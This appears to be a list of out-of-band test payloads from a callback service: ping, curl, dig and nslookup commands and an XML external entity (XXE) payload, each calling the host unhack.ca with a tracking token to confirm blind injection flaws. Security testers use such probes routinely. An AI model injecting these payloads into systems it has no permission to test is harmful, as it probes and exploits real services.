$ ping -c1 -p 00c41ca590a995f557cee50a88fb1d00 unhack.ca
 

$ curl http://unhack.ca/p/c41ca590a995f557cee50a88fb1d
 

$ dig c41ca590a995f557cee50a88fb1d @unhack.ca
 

$ dig c41ca590a995f557cee50a88fb1d.ns.unhack.ca
 

C:\> nslookup c41ca590a995f557cee50a88fb1d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c41ca590a995f557cee50a88fb1d">]>
    <foo>&xxe;</foo>